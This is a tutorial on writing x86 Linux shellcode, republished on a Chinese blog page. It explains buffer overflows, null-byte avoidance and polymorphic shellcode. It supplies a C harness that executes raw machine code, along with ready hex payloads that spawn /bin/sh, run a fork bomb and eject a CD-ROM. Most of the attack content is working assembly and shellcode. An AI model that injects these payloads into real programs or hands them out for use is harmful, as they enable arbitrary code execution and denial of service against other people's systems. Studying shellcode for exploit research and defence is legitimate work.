如何写Shell Code

壳代码基础教程
本文介绍壳代码的基础知识,包括其工作原理及如何避免空字节的出现。文章提供了多个实例,如打开终端、创建进程炸弹及弹出光盘等,并详细讲解了在不同情况下壳代码的编写技巧。

Buffer overflows are one of the most common vulnerabilities exploited in programs. However, in order to use the exploit to accomplish anything, shellcode must be used. This tutorial is going to go over shellcoding basics, and some techniques used to create more complicated shellcode. Since this involves some knowledge of assembly code, I would suggest looking at our Assembly primer.

What is shellcode

How does it work

Shellcoding Basics

Examples

  • Open /bin/sh
  • Fork Bomb
  • Eject CDROM

Null Free Shellcoding Techniques

 


What is Shellcode?

Shellcode is essentially machine code that is meant to be injected into a running process. Usually, it is injected using a buffer overflow, such as stack buffer overflows, as a vector. Once injected into the program, the EIP register, which points to the next instruction, is overwritten (in the buffer overflow) to point to a different memory address. This new address will point to the start of the shellcode, causing its execution.

 

How Does Shellcode Work?

Since shellcode is machine code, it is executed just like any other part of a program. The EIP register points to the instruction to be executed. The machine code then tells the CPU exactly what to do. Here’s how shellcode is usually injected into a program, using a stack buffer overflow exploit.

First, the program must have some type of buffer. When the input to this buffer is left unchecked, it is possible to give the buffer a value that requires more memory than the buffer holds. The data then “overflows” into the next variable’s memory. See below for a diagram of a buffer overflow:

How a buffer overflow works. The initial buffer is given a value that is too large to fit, so it overflows into the next variable's memory.

Buffer Overflow

Often, an overflow like this will cause the program to react in a very negative way, usually triggering a segmentation fault. A segmentation fault occurs when a program is trying to access memory that it doesn’t own, so the kernel sends the process a a segmentation fault signal, causing it to quit and dump the core. The core is actually a snapshot of the program right before it exited.

However, if the overflow is carefully manipulated, it can actually be used to insert code into the program without crashing it. This is where shellcode comes in. A critical part of the buffer overflow exploit is to gain control over the value of the instruction pointer, EIP. Since the EIP contains the address of the next instruction to be run, if we overwrite it, we can change the next instruction. Once we gain the ability to change the value of the EIP, we can set it to execute our shellcode.

 

Shellcoding Basics

Shellcode is created by coding in assembly language. From here, the machine code generating from assembling the code is taken and used as the shellcode. Here is a small C program that can be used to test shellcode.

?View Code C
//credits: s3my0n
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
 
int (*sc)();
 
char shellcode[] = "";
 
int main(int argc, char **argv) {
 
    void *ptr = mmap(0, sizeof(shellcode),
            PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
            | MAP_PRIVATE, -1, 0);
 
    if (ptr == MAP_FAILED) {
        perror("mmap");
        exit(-1);
    }
 
    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = ptr;
 
    sc();
 
    return 0;
}

This program will allow us to test our shellcode by putting it in the “shellcode” character array. While older operating systems would often allows us to run the shellcode using a system of pointers, modern systems restrict executing code located inside the stack, which forces us to use the above method.

The first piece of shellcode we are going to create is one that simply exits from the program. The first step to create the shellcode is to write a program that accomplishes this in assembly.

?View Code ASM
section .data
section .text
	global _start
 
_start:
	mov eax, 1
	mov ebx, 0
	int 0x80

Assembly it as an ELF file using nasm (nasm -f elf exit.asm). For a nice assembler language video, check outAssembly Language for Hackers. Next, link it using ld (ld exit.o). The resulting binary simply exits with an exit status of 0. To get the shellcode from the assembly, we’re going to disassemble the binary using objdump -d. The output should be something like this:

a.out:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:	b8 01 00 00 00       	mov    $0x1,%eax
 8048065:	bb 00 00 00 00       	mov    $0x0,%ebx
 804806a:	cd 80                	int    $0x80

The machine code (second column) is what we’re after. However, this shellcode would actually be unusable. Why? There are several null bytes (00) in the machine code. Null bytes often signify the end of a string, meaning if this shellcode were injected in a program, it would stop reading the code at the first null byte, ignoring everything afterward. Lets go back to our assembly code and try to change it to prevent the use of null bytes.

?View Code ASM
 
section .data
section .text
	global _start
 
_start:
 
	xor eax, eax
	inc eax
	xor ebx, ebx
	int 0x80

After we assemble and link it again, we’re going to use objdump again to look at the machine code. Now we get this:

8048060:	31 c0                	xor    %eax,%eax
 8048062:	40                   	inc    %eax
 8048063:	31 db                	xor    %ebx,%ebx
 8048065:	cd 80                	int    $0x80

No null bytes there! So lets copy and paste the machine code into our C program to test it out. The line declaring shellcode[] should now look like this:

char shellcode[] = "\x31\xc0\x40\x31\xdb\xcd\x80";

After compiling it, running it shows that the shellcode is successfully executed, and the program exits gracefully with a status of 0. Congratulations! You just wrote your first piece of shellcode. If you were to share it, you would show others the machine code portion, or \x31\xc0\x40\x31\xdb\xcd\x80.

 

Examples

Here are some example pieces of shellcode for accomplishing various tasks. I included the assembly and shellcode for each example.

Open a Shell Assembly & Shellcode

 
Written by: kernel_panik

?View Code ASM
xor ecx, ecx
 mul ecx
 push ecx
 push 0x68732f2f  
 push 0x6e69622f 
 mov ebx, esp
 mov al, 11
 int 0x80

 
Shellcode:\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

 

Fork Bomb Assembly & Shellcode

 

?View Code ASM
section .data
section .text
	global _start
 
_start:
	xor ebx, ebx
	inc ebx
	inc ebx
	push ebx
	xor ebx, ebx
	pop eax
	int 0x80
	jmp _start

 
Shellcode: \x31\xdb\x43\x43\x53\x31\xdb\x58\xcd\x80\xe9\xf1\xff\xff\xff

 
 

Eject CDROM Assembly & Shellcode

 
Written by: root@thegibson

?View Code ASM
section .text
    global _start
 
_start:
    ; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);
    mov al, 5
    cdq
    push edx
    push word 0x6d6f
    push dword 0x7264632f
    push dword 0x7665642f
    mov ebx, esp
    mov cx, 0xfff
    sub cx, 0x7ff
    int 0x80
 
    ; ioctl(fd, CDROMEJECT, 0);
    mov ebx, eax
    mov al, 54
    mov cx, 0x5309
    cdq
    int 0x80

 
Shellcode:\xb0\x05\x99\x52\x66\x68\x6f\x6d\x68\x2f\x63\x64\x72\x68\x2f\x64\x65\x76\x89\xe3\x66\xb9\xff\x0f\x66\x81\xe9\xff\
x07\xcd\x80\x89\xc3\xb0\x36\x66\xb9\x09\x53\x99\xcd\x80

 
 

Null Byte Free Shellcoding Techniques

A large part of shellcoding is solving the puzzle of how to remove null bytes from your shellcode. Here are a few techniques that accomplish common tasks in assembly language without the use of null bytes.

Setting a Register to Zero
Rather than setting a register to 0 using a constant, use operations that you know will result in a zero. For example, xoring anything against itself will always result in zero. So, this will effectively set the eax register to zero:

?View Code ASM
xor eax, eax

 
Polymorphic Shellcode
Sometimes, removing null bytes can be nearly impossible. In this case, you can try polymorphic shellcode, that is, shellcode that changes itself. On runtime, the shellcode can alter itself to include the null bytes, even though the original code does not contain them.

 
Setting a Register to One
Again, rather than using a constant, use operations that are built into assembly language. Having a register set to 1 is useful for interrupts such as 0×80, where an eax value of 1 will result in the sys_exit call. Here, we set the eax register to 1 using inc to add 1 to the current value. Note that we also use xor to set the register to 0 first, ensuring that the register is incremented to 1.

?View Code ASM
xor eax, eax
inc eax

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值